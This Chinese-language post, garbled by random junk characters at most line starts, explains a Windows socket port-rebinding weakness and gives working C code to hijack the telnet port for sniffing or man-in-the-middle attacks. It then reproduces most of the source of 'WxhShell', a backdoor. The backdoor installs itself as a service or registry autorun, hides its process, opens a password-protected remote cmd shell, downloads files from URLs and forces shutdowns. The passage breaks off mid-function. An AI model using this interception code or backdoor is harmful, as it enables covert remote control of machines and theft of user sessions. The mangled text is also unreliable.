在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Avlz=k1* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Xz 4 x N#C1-*[C saddr.sin_family = AF_INET;
ww k
P F KvPX=/&Zu saddr.sin_addr.s_addr = htonl(INADDR_ANY);
up'
BV`- =wRC bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
a4i:| h*B|fy4K9U 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!ZRs;UZ>o o>/O++7R a 这意味着什么?意味着可以进行如下的攻击:
CjIu[S1% ]rN5Ao}2 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`Y=WMNy *i{Y 9f8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
f.B>&%JRZ clw%B 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
A"5z6A4WB 9@ 16w 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
9Z5D\yv?H 3q:n'PC)C 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
SLfFqc+n0 'CZa3ux 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
+>~?m*$ YW\0k5[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\dQx+f&t RP5+d #include
G~7 i@Zs #include
J[~5U~F #include
6 15s5ZA #include
F0vM0e- DWORD WINAPI ClientThread(LPVOID lpParam);
?ULo&P[ int main()
:!a2]-D} {
'})0!g<Y WORD wVersionRequested;
P|tNL}2`; DWORD ret;
xM[Vc
WSADATA wsaData;
ENF"c$R BOOL val;
2`GE SOCKADDR_IN saddr;
:u8(^]N SOCKADDR_IN scaddr;
S& #U!#@ int err;
((tv2 SOCKET s;
&UCsBqIY SOCKET sc;
*=V7@o int caddsize;
*'Y@3vKE HANDLE mt;
|t
iUej DWORD tid;
%1 vsN-O}8 wVersionRequested = MAKEWORD( 2, 2 );
C;QAT err = WSAStartup( wVersionRequested, &wsaData );
Vm}%ttTC if ( err != 0 ) {
#rO8K f printf("error!WSAStartup failed!\n");
oh"O07 return -1;
h7*W*Bd }
`Q3s4VEC saddr.sin_family = AF_INET;
|tR
OL9b $D
v\
e //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
r_e7a6 R" )bDy? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
uEyH2QO saddr.sin_port = htons(23);
'I;!pUfVp if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
km^^T_ M/ {
]lw|pvtd printf("error!socket failed!\n");
AcI,N~~ return -1;
;$Y4xM`=m }
")O`mXg- val = TRUE;
kF;DBN //SO_REUSEADDR选项就是可以实现端口重绑定的
HHX-1+L if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
>>aq,pH {
8d*/HF)h printf("error!setsockopt failed!\n");
:ISMPe3' return -1;
r78TE@d }
7XKY]|S,' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
kg@>;(V& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Ev7J+TmXM //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
mWR4|1( Yt|6
X:l if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
[.RO'>2z {
V-n&oCS+f ret=GetLastError();
&B!
o,qp printf("error!bind failed!\n");
+w@M~?> return -1;
~%?`P/.o }
C2Xd?d listen(s,2);
|-V&O=!^+ while(1)
1]IQg;q {
O+}qQNe< caddsize = sizeof(scaddr);
`wF8k{Pb //接受连接请求
WD Fjp sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
pdJ/&ufh if(sc!=INVALID_SOCKET)
;nC.fBu {
?4H i- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
it] E-^2> if(mt==NULL)
MlLb|!,)T {
|FD }e) printf("Thread Creat Failed!\n");
/Q~gU< break;
A,r*%&4~ }
={LMdC~5X }
moP,B~ CloseHandle(mt);
L?5Ck<!xG }
hx/N1x closesocket(s);
"4vy lHIo WSACleanup();
*@d&5 return 0;
3~nnCR[R }
Fu&EhGm6 DWORD WINAPI ClientThread(LPVOID lpParam)
6JKqn~0Kk {
/mp*>sNr6 SOCKET ss = (SOCKET)lpParam;
5M9 I, SOCKET sc;
s'kDk2r unsigned char buf[4096];
}%Bl>M SOCKADDR_IN saddr;
^v.,y3 long num;
lA>DS#_ DWORD val;
Us+pc^A DWORD ret;
z<B8mB //如果是隐藏端口应用的话,可以在此处加一些判断
`--TP //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
LM&y@"wfm saddr.sin_family = AF_INET;
F(t=!k,4\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
?c0xRO%y saddr.sin_port = htons(23);
A:7k+4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dt2$`X18 {
(@iMLuewK printf("error!socket failed!\n");
5/po2V9) return -1;
WVY\&|)$ }
('-JY val = 100;
;FZ@:%qDm if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`,Ph/oM {
C@jJ.^
<< ret = GetLastError();
$.9{if#o& return -1;
uYE`"/h,1e }
ChCrL[2 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
0ez(A {
UQB"v3Z ret = GetLastError();
SM`w;?L:? return -1;
Duc#$YfGm }
oh$Q6G if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
u|4$+QiD {
SPp#f~%m printf("error!socket connect failed!\n");
i;!H!-sM closesocket(sc);
n u'M
39{ closesocket(ss);
Nbp!teH6 return -1;
?B:a|0pf }
X^WrccNX while(1)
#>j.$2G> {
XoA+MuDzpo //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
,=l7:n //如果是嗅探内容的话,可以再此处进行内容分析和记录
}1>[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
u%.$BD Hg num = recv(ss,buf,4096,0);
0{#8',*}m? if(num>0)
@:KJYm[ send(sc,buf,num,0);
C-iK$/U else if(num==0)
r2k2%nI-J break;
e^ v.) num = recv(sc,buf,4096,0);
A45A:hqs if(num>0)
Ot]Ru,y->+ send(ss,buf,num,0);
ve\X3"p# else if(num==0)
lkBdl#]9 break;
F^hBtfz }
W"Gkq!3u{ closesocket(ss);
w:
>5=mfk closesocket(sc);
Y[L-7^o@y return 0 ;
q7"7U=W0 }
-&<Whhs.@ ^a#X9 Offu9`DiZ ==========================================================
B, 9w0 \?je Wyo 下边附上一个代码,,WXhSHELL
NMA}Q$o
s jAud {m*T ==========================================================
9;veuX#( zA[0mkC?$ #include "stdafx.h"
J_FNAdQt Dgy]ae(Hb3 #include <stdio.h>
x:nKfY5 #include <string.h>
)KP5WudX #include <windows.h>
F{UP;"8' #include <winsock2.h>
J9=m]R8T #include <winsvc.h>
3;a<_cE*@ #include <urlmon.h>
5< ja3 /z}~zO #pragma comment (lib, "Ws2_32.lib")
Q:5KZm[ [ #pragma comment (lib, "urlmon.lib")
Ox@sI:CT 1bH;!J #define MAX_USER 100 // 最大客户端连接数
JJ%ePgWT #define BUF_SOCK 200 // sock buffer
mW:!M!kk #define KEY_BUFF 255 // 输入 buffer
!H ~<
%*\es7m} #define REBOOT 0 // 重启
&B|D;|7H #define SHUTDOWN 1 // 关机
Q9Q|lO $]8h $ #define DEF_PORT 5000 // 监听端口
*cEob b v'BZs #define REG_LEN 16 // 注册表键长度
nB!&Zq #define SVC_LEN 80 // NT服务名长度
0=K9`=5d0 4n4?4BEn // 从dll定义API
HQB(* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
8H_l:Z [:i typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
&\Amn?Iq typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
8HP6+c% typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
sq;s]@~ :hM/f // wxhshell配置信息
G>q(iF' struct WSCFG {
/RMPS.
d
{ int ws_port; // 监听端口
Q_t`.jus char ws_passstr[REG_LEN]; // 口令
.B\ 5OI,] int ws_autoins; // 安装标记, 1=yes 0=no
Pcw6!xH char ws_regname[REG_LEN]; // 注册表键名
LGl2$#x char ws_svcname[REG_LEN]; // 服务名
A*um{E+ char ws_svcdisp[SVC_LEN]; // 服务显示名
_vZ"4L+Iw+ char ws_svcdesc[SVC_LEN]; // 服务描述信息
AGbhJ=tB char ws_passmsg[SVC_LEN]; // 密码输入提示信息
>$ e9igwe int ws_downexe; // 下载执行标记, 1=yes 0=no
##4GK08! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
l\s U char ws_filenam[SVC_LEN]; // 下载后保存的文件名
3JVK
V<j.xd7 };
*f?4
u{*SX k // default Wxhshell configuration
K#U<ib-v struct WSCFG wscfg={DEF_PORT,
W]nSR RWco "xuhuanlingzhe",
|<GDUwC_; 1,
$ mI0Bk "Wxhshell",
\.3D~2cU "Wxhshell",
q#8 [ "WxhShell Service",
0q'w8]m "Wrsky Windows CmdShell Service",
=XY\iV1J* "Please Input Your Password: ",
o";Z$tAJkC 1,
zF`c8Tsx]) "
http://www.wrsky.com/wxhshell.exe",
{>F7CT'G6 "Wxhshell.exe"
%%4t~XC# };
%wSj%>&-R *Q,0W:~- // 消息定义模块
d.P\fPSD char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
u07pq4Ly char *msg_ws_prompt="\n\r? for help\n\r#>";
zA1lca0HK char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
-*XCxU' char *msg_ws_ext="\n\rExit.";
*q1% IJ char *msg_ws_end="\n\rQuit.";
<^lRUw char *msg_ws_boot="\n\rReboot...";
-k"^o!p char *msg_ws_poff="\n\rShutdown...";
kbMYMx.[ char *msg_ws_down="\n\rSave to ";
$bsG] ]X^rU`": char *msg_ws_err="\n\rErr!";
EcCFbqS4W char *msg_ws_ok="\n\rOK!";
9F*+YG! ETXZ?\<a5 char ExeFile[MAX_PATH];
!Uq^7Mw int nUser = 0;
smry2*g HANDLE handles[MAX_USER];
TEaJG9RU>v int OsIsNt;
Ck!VV2U# E8~}PQW:I SERVICE_STATUS serviceStatus;
G;~V SERVICE_STATUS_HANDLE hServiceStatusHandle;
YWxc-fPZ Zib)P & // 函数声明
/>9OR int Install(void);
Ba/Yl int Uninstall(void);
g2T -TG'd int DownloadFile(char *sURL, SOCKET wsh);
[!U?}1YQ int Boot(int flag);
FG)$y[* void HideProc(void);
!H}vu]R int GetOsVer(void);
t>[KVVg
W int Wxhshell(SOCKET wsl);
(4Zts0O\ void TalkWithClient(void *cs);
Qu]z)";7 int CmdShell(SOCKET sock);
4'LB7}WG int StartFromService(void);
&Y^WP?HS int StartWxhshell(LPSTR lpCmdLine);
0JJS2oY/ nVI!@qW VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
E,f>1meN= VOID WINAPI NTServiceHandler( DWORD fdwControl );
l!g]a2x* $.[#0lCI // 数据结构和表定义
kVy\b E0o SERVICE_TABLE_ENTRY DispatchTable[] =
7%{ | {
*7wAkljP {wscfg.ws_svcname, NTServiceMain},
w18y}mS"H {NULL, NULL}
:"!9_p(,, };
r!{LLc}> hc'-Dh // 自我安装
6A=8+R'`F int Install(void)
[/BE8]M~ {
Y>&Ew*Y char svExeFile[MAX_PATH];
1"e)5xI HKEY key;
mI>,.&eo strcpy(svExeFile,ExeFile);
-P]sRl3O; &JtV'@>v // 如果是win9x系统,修改注册表设为自启动
\R3H+W if(!OsIsNt) {
78/N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
P'O#I}Dmw< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
T
N!=@Gy RegCloseKey(key);
Y
"VY%S^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
PxfY&;4n! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
R?p00 RegCloseKey(key);
m]cHF.:5 return 0;
W[}s o6 }
&CG*)bE }
HuVJ\%. }
]7/
b/J else {
eVM/uDD dF~8XYo // 如果是NT以上系统,安装为系统服务
MG{YrX) oi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
/mK?E5H'r1 if (schSCManager!=0)
&zuG81F6 {
56Vb+0J' SC_HANDLE schService = CreateService
PtTH PAKj (
gL3"Gg3 schSCManager,
5e fpeu wscfg.ws_svcname,
$&2UTczp wscfg.ws_svcdisp,
+
Q6l*:<|c SERVICE_ALL_ACCESS,
Zw~+Pb SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
wX*K]VMn SERVICE_AUTO_START,
:,DM*zBVp SERVICE_ERROR_NORMAL,
7H|$4;X^ svExeFile,
d`(@_czdF NULL,
U2%.S&wS,e NULL,
-Fn}4M NULL,
4DOK4{4?5 NULL,
<Engi! NULL
tu5*Qp\ );
% =BMZRn if (schService!=0)
Zt3)]sB {
&RTX6%'KY CloseServiceHandle(schService);
25&J7\P* CloseServiceHandle(schSCManager);
nYJTKU strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
l#}.^71+ strcat(svExeFile,wscfg.ws_svcname);
@ G4X if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
+Lnsr\BA RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ku..aG` RegCloseKey(key);
D91e\|] return 0;
c-Pw]Ju }
+L5\; }
QzAK##9bfa CloseServiceHandle(schSCManager);
_Dwqy( }
!XzF67 }
> z^# V._(q^ return 1;
ZZyDG9a>7 }
j6g[N4xr xrN
&N_K# // 自我卸载
HyR!O> int Uninstall(void)
U5r7j {
LbII?N8`N HKEY key;
|qoKO:B4-[ $\?yAE if(!OsIsNt) {
)<xypDQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&< !Ufa& RegDeleteValue(key,wscfg.ws_regname);
":nQgV\9 RegCloseKey(key);
}>[G5[\
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
CV{r5Sye RegDeleteValue(key,wscfg.ws_regname);
_Um d RegCloseKey(key);
0JD~M\-!^a return 0;
FPJd| }
_kY#D;`:r }
]K*8O< }
sQ8s7l0D else {
h?$T!D> x+G0J8cW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
9RWkm%? if (schSCManager!=0)
-$,%f? {
%xQ.7~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
.WQ+AE8Q if (schService!=0)
oQL59XOT4 {
8j4z{+'TQ if(DeleteService(schService)!=0) {
1c@}C+F+ CloseServiceHandle(schService);
>g;kJe CloseServiceHandle(schSCManager);
+L=*:e\j return 0;
y8\S}E0 }
>~\89E02 CloseServiceHandle(schService);
MJ\ eh>v& }
dCFlM&(i CloseServiceHandle(schSCManager);
ZY56\qcY }
>dM8aJzC }
o#[ KS:Y Q_vW3xz return 1;
U #~;)fZ }
]0r|_)s cGwf!hA // 从指定url下载文件
p)~lL int DownloadFile(char *sURL, SOCKET wsh)
&ciN@nJ|$z {
S{K0.<,E HRESULT hr;
8/"fWm/ char seps[]= "/";
q-Qxbg[>e char *token;
P6Mhbmt9* char *file;
wP/A^Rs char myURL[MAX_PATH];
Eaqca{%/^ char myFILE[MAX_PATH];
?J,AB #+ Cbs5dn(Y strcpy(myURL,sURL);
_|''{kj( token=strtok(myURL,seps);
'r\ V.4 while(token!=NULL)
S:61vD {
!7d*v3)d file=token;
%5*@l vy token=strtok(NULL,seps);
Ap$y%6 }
> MG>=A UgN28YrW GetCurrentDirectory(MAX_PATH,myFILE);
"3F;cCDv] strcat(myFILE, "\\");
OD=!&LM strcat(myFILE, file);
#pHs@uvO send(wsh,myFILE,strlen(myFILE),0);
Yh)Isg|0> send(wsh,"...",3,0);
:L
3&FA hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
sFDG) if(hr==S_OK)
CD0VfA>Z return 0;
)RsM!} else
Xe+,wW3YF return 1;
5TUNX^AW s9oO%e< }
LG]3hz9^9 &5t :H 8b // 系统电源模块
-xD*tf* int Boot(int flag)
aV1lJ;0 {
Hk7K`9 HANDLE hToken;
,pBh`av TOKEN_PRIVILEGES tkp;
T$=4O9G Q7bq
if(OsIsNt) {
pA4*bO+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
]h9!ei
[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
q:8_]Qt tkp.PrivilegeCount = 1;
2ij#
H
; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
w-$[>R[hw AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
1=2^90 if(flag==REBOOT) {
u
z\0cX_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
q/1Or;iK return 0;
z}Jr^> }
NcM>{{8 else {
bY~@}gC**@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
rx :z#"?I return 0;
bqx0d=Z~[ }
l?*r5[O>n }
ZlKw_Sq: else {
W9zE{)Sc~ if(flag==REBOOT) {
iK_c.b if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
smQVWs> return 0;
_;RVe"tR# }
{I{:GcS else {
$ex!!rqN| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{0YAzZ7 return 0;
N{d@^Yj }
6*@yE }
Vga-@ 2yo
cu!4l return 1;
:1)DqoAJ }
O''y>N9
o0z67(N&g // win9x进程隐藏模块
W2wpcc void HideProc(void)
4O{Avt7C {
nkeI60 B
?%L HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
cyd~2\Kv~ if ( hKernel != NULL )
;\%sEcpT {
l|/:Ot pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Z"I/ NGiU ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Cpx+qQt0 FreeLibrary(hKernel);
m|svQ-/j }
H'J|U| `&$B3)Eb return;
R
UTnc }
.>6 Wv0 Z$ KV&.=+ // 获取操作系统版本
F: 37MUQi int GetOsVer(void)
2)/NFZ {
bb=uF1 OSVERSIONINFO winfo;
F#+ .>!
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
X21dX`eMN GetVersionEx(&winfo);
84&XW if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
gH:ArfC return 1;
Wf>^bFb"$ else
7uI#L}y return 0;
~0-g%C?R }
?q91:H vi {uy // 客户端句柄模块
CV.+P- int Wxhshell(SOCKET wsl)
u@.>WHQN {
VS/;aG$&y SOCKET wsh;
vH?9\3 struct sockaddr_in client;
CP`
XUpX`& DWORD myID;
q'(z #h,cv pvXcLR)L+3 while(nUser<MAX_USER)
^i_Iqph= {
}C(5 -7 int nSize=sizeof(client);
3#.\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
G5'_a$ if(wsh==INVALID_SOCKET) return 1;
]7qiUdxt: fUcLfnr handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
)fh0&Y; R if(handles[nUser]==0)
et$uP closesocket(wsh);
.]76!(fWZ else
(v#pj8aE nUser++;
Rs$5PdH }
&/ouW'oP WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
AZZRa69= MC=G "m:_ return 0;
E20 :uZ7\ }
U w Eiz %%g-GyP
1 // 关闭 socket
ehOs9b void CloseIt(SOCKET wsh)
^b53}f8H {
V_a)jJ closesocket(wsh);
OV5e#AOy) nUser--;
ESDB[
O+`x ExitThread(0);
if~rp-\P }
XT||M)# MTmO>V&O // 客户端请求句柄
qa!RH]B3 void TalkWithClient(void *cs)
2@MN]Low {
d\Jji 6W lfS;?~W0k SOCKET wsh=(SOCKET)cs;
!dv-8C$U char pwd[SVC_LEN];
Hq
xK\m%,. char cmd[KEY_BUFF];
*W^=XbG char chr[1];
vg^Myn
int i,j;
O{n<WQd{CY ,$Tk$ while (nUser < MAX_USER) {
Vm!i eoJ]4-WFq if(wscfg.ws_passstr) {
\p6 } if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
v["3 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
wOHEv^, //ZeroMemory(pwd,KEY_BUFF);
|NEd@ i=0;
Bxv8RB while(i<SVC_LEN) {
6GKT yN J E)J<9gf // 设置超时
f9']
jJ+ fd_set FdRead;
6q%ed
UED struct timeval TimeOut;
oBw}hH,hp FD_ZERO(&FdRead);
n>llSK FD_SET(wsh,&FdRead);
?~)Ak`= TimeOut.tv_sec=8;
0>Fqx{!heq TimeOut.tv_usec=0;
/2h][zrZ[. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
G?[-cNdk if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
%N{sD[^ QGPR.<D)B if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
?L`ZKRD pwd
=chr[0]; K^ 6+Ily
if(chr[0]==0xd || chr[0]==0xa) { C
ktX0
pwd=0; .;slrg(5F
break; *g$agyOfh
} X')S;KW
i++; k5X b}@
} SOI)/u
:r39wFi
// 如果是非法用户,关闭 socket BkT-m'I?
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CZfE
|T~
} %O /d4
3M$X:$b
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X2P``YFV{
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6UI>GQ
B"[{]GP BY
while(1) { bm6hZA|
<_f`$z
ZeroMemory(cmd,KEY_BUFF); vXf:~G]
xOM_R2Md
// 自动支持客户端 telnet标准 08io<c,L
j=0; *+~D+_,
while(j<KEY_BUFF) { ^;64!BaK
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;o%:7&
cmd[j]=chr[0]; IQoH@l&Xk
if(chr[0]==0xa || chr[0]==0xd) { sU*3\
cmd[j]=0; UKYupLu5
break; p5`ZyD]+
} +3HPA#A
j++; Z~RdFC
} Mz}i[|U\
+_-Y`O!Q
// 下载文件 b_mWu@$
if(strstr(cmd,"http://")) { Q;@X2JSp
send(wsh,msg_ws_down,strlen(msg_ws_down),0); \6 LcV ik
if(DownloadFile(cmd,wsh)) {9'hOi50
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :f]!O@.~
else J=VyyUB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2mq%|VG'
} QqjTLuN
else { ?N2X)Y@yi
:o<N!*pT
switch(cmd[0]) { H8<m9zDvl
!?n50
// 帮助 7 BK46x
case '?': { 776 nWw)
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !*8#jy
break; J5-rp|
} 3z$HKG
// 安装 /evaTQPz
case 'i': { FSVS4mtiX\
if(Install())
Q_v\1"c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3f,u}1npa*
else {NY]L==H
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4UazD_`'
break; -g<cinNSp
} tnNZ`]qY
// 卸载 Lv^a+'
case 'r': { v2(U(Tt
if(Uninstall()) fX""xTNPi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S8vx[ <
else F[(6*/ 46x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BM.-X7)
break; Q+HZ?V(
} @F~0p5I
// 显示 wxhshell 所在路径 sD.6"w7}
case 'p': { ?{n>EvLY
char svExeFile[MAX_PATH]; wYa0hNd
strcpy(svExeFile,"\n\r"); QWKs[yfdo
strcat(svExeFile,ExeFile); tw]/,>\G
send(wsh,svExeFile,strlen(svExeFile),0); {QW-g
break; #,)PN @P
} 3^'#ny?l
// 重启 g"w)@*?K
case 'b': { 6,a%&1_
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4 ;^g MI9
if(Boot(REBOOT)) B6(h7~0(<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v<%]XHN
else { XEa~)i{O
closesocket(wsh); X+d&OcO=q
ExitThread(0); `)LIVi"(D
} /XjN%|
break; vB=;_=^i1
} mQFa/7FX
// 关机 :mzCeX8 *
case 'd': { Cv0&prt
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QZ?O;K1|y
if(Boot(SHUTDOWN)) H'D#s;SlR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HqB|SWyK
else { VVgsLQd
closesocket(wsh); yW[L,N7d
ExitThread(0); Jm%mm SYK
} *ZX!EjICk
break; OA!R5sOz"
} vP-3j
// 获取shell VPdwSW[eM
case 's': { ^P]?3U\nj
CmdShell(wsh); 'n>EEQyp'
closesocket(wsh); lGl[^
0
ExitThread(0); S_ZLTcq<1
break; G]1(X38[si
} r(pwOOx
// 退出 }7-7t{G
case 'x': { `Fz\wPd
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &3jBE--
CloseIt(wsh); ;5-R=e(KA
break; bkxk
i@t
} ?rky6
// 离开 oo;;y,`8py
case 'q': { IkiQOk
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !T)T_P[
closesocket(wsh); Ng?apaIi@~
WSACleanup(); u,:CJ[3
exit(1); #,7eQaica
break; 2O$95M
} q;CayN'I
} w 9/nVu
} >0kmRVd
[0h* &
// 提示信息 xi;/^)r
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U? {'n#n 5
} _{[k[]
} MV%
:ES?
M' a&
return; '2wXV;`
} ,}eRnl\
sM#!Xl;
// shell模块句柄 V h
Z=,m
int CmdShell(SOCKET sock) ;r g H}r
{ x-w`KFS
STARTUPINFO si; j2< !z;2
ZeroMemory(&si,sizeof(si)); eo>/
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pQk=x T
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MFf05\aDu
PROCESS_INFORMATION ProcessInfo; cWgbd^J
char cmdline[]="cmd"; unC t4uX^
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TS\9<L9S
return 0; Uc_'3|e
} LDT'FwMjy
z0\;m{TH
// 自身启动模式 Y1#-^,qg
int StartFromService(void) c-[Q,c
{ aQl?d<|+lk
typedef struct MZ;"J82p
{ ,Wz[tYL*
DWORD ExitStatus; [?Mc4uT{
DWORD PebBaseAddress; C/{nr-V3u
DWORD AffinityMask; *p" "YEN
DWORD BasePriority; `G_(xN7O
ULONG UniqueProcessId; Es.toOH$S
